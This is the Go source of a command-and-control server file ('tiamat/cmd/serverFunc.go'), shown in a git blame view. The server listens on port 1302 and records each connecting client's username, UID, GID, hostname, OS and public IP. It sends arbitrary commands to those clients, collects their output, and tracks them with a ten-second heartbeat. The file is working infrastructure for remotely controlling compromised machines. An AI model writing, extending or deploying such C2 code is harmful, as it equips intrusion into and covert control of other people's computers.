tiamat/cmd/serverFunc.go

179 lines
3.7 KiB
Go
Raw Normal View History

2024-06-03 09:24:18 +02:00
package cmd
import (
2024-06-03 10:16:35 +02:00
"encoding/gob"
"fmt"
2024-06-03 09:24:18 +02:00
"log"
"net"
"time"
2024-06-03 09:24:18 +02:00
"github.com/spf13/viper"
)
2024-06-03 10:16:35 +02:00
type Client struct {
ClientBasicInfo
Conn net.Conn
IsOnline bool
ClientID int
}
type ClientBasicInfo struct {
Username string
UID string
GID string
2024-06-03 10:16:35 +02:00
OperatingSystem string
Hostname string
PublicIP string
2024-06-03 10:16:35 +02:00
}
type Instructions struct {
IsHeartbeat bool
IsCommand bool
Message string
}
type Response struct {
Successful bool
Message string
2024-06-03 10:16:35 +02:00
}
2024-06-03 09:24:18 +02:00
var (
2024-06-03 10:16:35 +02:00
C2Port string = "1302"
2024-06-04 12:41:57 +02:00
clientList []Client
clientIDs int = 0
2024-06-03 09:24:18 +02:00
)
func (c Client) Instruct(i Instructions) error {
enc := gob.NewEncoder(c.Conn)
err := enc.Encode(i)
if err != nil {
return err
}
return nil
}
2024-06-03 09:24:18 +02:00
func Server() {
p := viper.GetString("Server.Port")
if p != "" {
C2Port = p
}
go WebServer()
ln, err := net.Listen("tcp", ":"+C2Port)
if err != nil {
log.Fatalf("Error happened listening on C2 port: %v\n", err)
}
log.Printf("Listening on port %v...", C2Port)
defer ln.Close()
for {
conn, err := ln.Accept()
if err != nil {
log.Printf("Error happened accepting connection: %v\n", err)
}
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
2024-06-04 12:41:57 +02:00
ID, err := getClient(conn)
2024-06-03 10:16:35 +02:00
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
}
2024-06-04 12:41:57 +02:00
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
clientList[ID].ClientBasicInfo.OperatingSystem)
2024-06-04 12:41:57 +02:00
go Heartbeat(ID)
}
func sendCommand(ID int, command string) (Output string, err error) {
inst := Instructions{
IsCommand: true,
Message: command,
}
clientList[ID].Instruct(inst)
resp, err := ServerMessageReceiver(clientList[ID].Conn)
if err != nil || resp.Successful != true {
2024-06-06 09:32:24 +02:00
e := fmt.Errorf("%v\n", resp.Message)
return "", e
}
fmt.Println(resp.Message)
return resp.Message, nil
}
2024-06-04 12:41:57 +02:00
func Heartbeat(ID int) {
for {
inst := Instructions{
IsHeartbeat: true,
Message: "PING",
}
2024-06-04 12:41:57 +02:00
clientList[ID].Instruct(inst)
resp, err := ServerMessageReceiver(clientList[ID].Conn)
if err == nil && resp.Message == "PONG" {
2024-06-04 12:41:57 +02:00
fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname)
clientList[ID].IsOnline = true
} else {
2024-06-04 12:41:57 +02:00
fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
clientList[ID].IsOnline = false
return
}
2024-06-06 09:32:24 +02:00
time.Sleep(time.Second * 10)
}
}
func returnClient(ID int) (Client, error) {
for _, v := range clientList {
if v.ClientID == ID {
return v, nil
}
}
2024-06-06 09:32:24 +02:00
err := fmt.Errorf("Client not found\n")
return Client{}, err
}
func ServerMessageReceiver(conn net.Conn) (Response, error) {
dec := gob.NewDecoder(conn)
2024-06-06 09:32:24 +02:00
c := Response{}
err := dec.Decode(&c)
if err != nil {
return Response{}, err
}
2024-06-06 09:32:24 +02:00
return c, nil
2024-06-03 10:16:35 +02:00
}
2024-06-03 09:24:18 +02:00
2024-06-04 12:41:57 +02:00
func getClient(conn net.Conn) (int, error) {
2024-06-03 10:16:35 +02:00
dec := gob.NewDecoder(conn)
2024-06-04 12:41:57 +02:00
basicC := ClientBasicInfo{}
err := dec.Decode(&basicC)
2024-06-03 10:16:35 +02:00
if err != nil {
2024-06-04 12:41:57 +02:00
return -1, err
}
for i, v := range clientList {
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
basicC.Hostname == v.ClientBasicInfo.Hostname
if sameClient == true {
fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
clientList[i].IsOnline = true
clientList[i].Conn = conn
return i, nil
} else {
fmt.Println("Unequal!")
}
2024-06-03 10:16:35 +02:00
}
2024-06-04 12:41:57 +02:00
newC := Client{}
newC.ClientBasicInfo = basicC
newC.Conn = conn
newC.IsOnline = true
newC.ClientID = clientIDs
clientIDs++
2024-06-04 12:41:57 +02:00
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
clientList = append(clientList, newC)
2024-06-04 12:41:57 +02:00
return len(clientList) - 1, nil
2024-06-03 09:24:18 +02:00
}